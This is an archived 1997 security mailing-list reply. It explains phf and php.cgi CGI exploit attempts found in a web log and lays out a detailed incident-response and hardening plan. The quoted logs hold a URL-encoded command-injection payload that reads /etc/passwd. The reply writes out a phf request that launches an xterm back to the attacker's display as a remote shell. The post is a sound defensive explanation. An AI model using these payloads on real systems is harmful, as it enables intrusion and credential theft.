[215] in Best-of-Security
BoS: Re: getting passwd file via WWW
daemon@ATHENA.MIT.EDU (long-morrow@CS.YALE.EDU)
Thu Jun 5 07:05:44 1997
From: long-morrow@CS.YALE.EDU
Date: Wed, 4 Jun 1997 15:13:18 -0400 (EDT)
Errors-To: best-of-security-request@suburbia.net
To: best-of-security@suburbia.net
Resent-From: best-of-security@suburbia.net
From: Stan Wnuck <swnuck@unixpros.com>
>I have noticed on my WWW log files the following 2 entries.
>
>some.remote.location.edu - - [28/Apr/1997:01:33:21 +0015] "GET /cgi-bin/phf?Jserver=ns.uiuc.edu%0Acat%20/etc/passwd%0Aypcat%20passwd%0Apwd%0Aid%0Auname%20-a%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 140
>some.remote.location.edu - - [28/Apr/1997:01:33:23 -74587788] "GET /cgi-bin/php.cgi?/etc/passwd" 404 143
Bad news. You've had your /etc/passwd file grabbed on Apr 28th.
Someone has most assuredly tried running Crack on it by now and they are
not restricted from just running 'cat' or 'ypcat'.
The second attempt was not successful as you didn't gave a CGI program
called php.cgi in your Web server's cgi-bin directory. But the first was.
The fact that both requests cam in so quickly (back to back within two
seconds!) suggests that someone was running an automated tool which was
scanning Web servers for vulnerabilities and logging successes (and probably
squirrelling the ill-gotten passwd files away somewhere). Someone was almost
certainly not typing in manually the URL to exploit your server via phf & php.
>Does anyone know anything about these cgi scripts or programs?
Yes. Everyone has known about the phf bug for over a year now (check out
the CIAC and CERT announcements on it). The php.cgi program (which is not
as widely distributed) is also a well-known vulnerability.
>Or how dangerous this is?
Very. If you have a standard Unix /etc/passwd file with readable
password hashes (ie. you don't have a 'shadow' password file) then
Crack can be run on the text of the password file. If any of your
users had a weak password (the same as their username, a proper name,
something easily guessed from their GECOS field, a dictionary word or a
common alphabetic or numeric sequence, etc.) then the remote cracker can
likely telnet or ftp into your Web server as the user with their password.
In fact, once they have determined that they can get phf to execute a
command on your Web server they are not restricted to just 'cat'ting
files readable by userid the Web server is running as. They can also
run any remote commands available to users on your machine (presuming
you are not running your httpd chroot()d and it sounds like you are not).
I.e. some.remote.location.edu could have run (if you have X installed):
"GET /cgi-bin/phf?Jserver=ns.uiuc.edu%0A/usr/bin/X11/xterm%20-display%20some.remote.location.edu:0 HTTP/1.0"
This will often pop up a X windows xterm terminal window on the
intruder's display running as the userid the Web server (httpd) is
running as. In some cases you will find that you need to change
/usr/bin/X11 to /usr/openwin/bin or wherever the vendor has placed the
xterm program. Then the system cracker is running an interactive
session on your machine without having to even crack any user
passwords.
In any case, once a system cracker has a foothold (a regular user
account on your system) they can then consult the BugTraq archive web
site (www.geek-girl.com/bugqtraq) and pick one of several root exploit
scripts to use to obtain maximum privilege (my faves currently are the
fdformat, Sony monitor calibration setuid utilities and ps commands for
Solaris 2.5.1). Usually a cracker can have 'root' access on a vanilla Unix
OS Web server within a hour using a regular user account with no privileges.
>.............................................., since I am not sure what
>my next move would be.
1. 'rm cgi-bin/phf' (whereever your web server is).
2. Take the machine off the network.
3. Copy the /etc/passwd file to a tape or floppy disk.
4. Disable all user accounts (my preference). Change the root password.
5. Back up the entire system to tape.
6. While the backup is running, run Crack (v5) on the old password file.
7. Check out all of the home directories belonging to users whose
passwords you are able to crack.
8. Run COPS (an internal Unix audit tool) on the server machine.
9. Connect the machine to a standalone test LAN.
10. From a separate test machine run Satan and/or ISS (external
TCP/IP network security audit tools which are aware of common
Unix server vulnerabilities) against the machine.
11. Check the machine against the latest CERT (www.cert.org),
CIAC (ciac.llnl.gov), BugTraq (www.geek-girl.com/bugtraq/)
security vulnerability advisories to see which patches you haven't
installed.
12. Bring down the machine.
13. Write up a report including the web server log, any logs from
'last', IP accounting from your router if it is turned on, etc.
Summarize the results of your auditing with the Crack, COPS and
Satan or ISS tools. Write up recommendations for securing the
vulnerabilities found. Send a copy of your security incident
report to CERT, Postmaster@some.remote.location.edu, and any other
relevant body (ie. if your site is military-related there will be
a different agency than CERT to which you should report incidents).
14. FORMAT the machine, make NEW filesystem partitions, RE-INSTALL the
OS using the latest vendor distribution CDROM.
15. Make sure that you install all of the latest vendor security patches,
that you implement all of the suggestions and fix all of the holes
that you found were in your configuration by running COPS and Satan/ISS.
Apply any fixes recommended in CIAC, CERT, BugTraq and vendor alerts.
16. Audit your new system by retesting using COPS and Satan/ISS.
17. Carefully restore any critical software or user files/directories
(only after first inspecting them for setuid/setgid, world-writable
and .rhosts/.shosts files). For example you'll want to restore your
Web server files, but carefully inspect any CGI programs for Trojans.
18. Remove any CGI programs which came with your Web server but you do
not use (which would be most of them -- ie. phf, test-cgi, nph-test-cgi,
etc.). Remove any CGI programs which you have written in a command
language or 'shell'.
19. Make users pick a new 'strong' password and re-authenticate themselves
to get their account re-enabled. Install a /bin/passwd replacement
which screens out obvious and weak passwords.
20. Install Tripwire on the web server machine, checksum the system and
other relevant files and periodically re-scan with Tripwire, COPS,
Crack and Satan/ISS. Look at WebStalker and other programs which
can analyze your Web server log files. Consider installing a firewall
or at least a screening router in between your Web server and the
Internet.
- H. Morrow Long
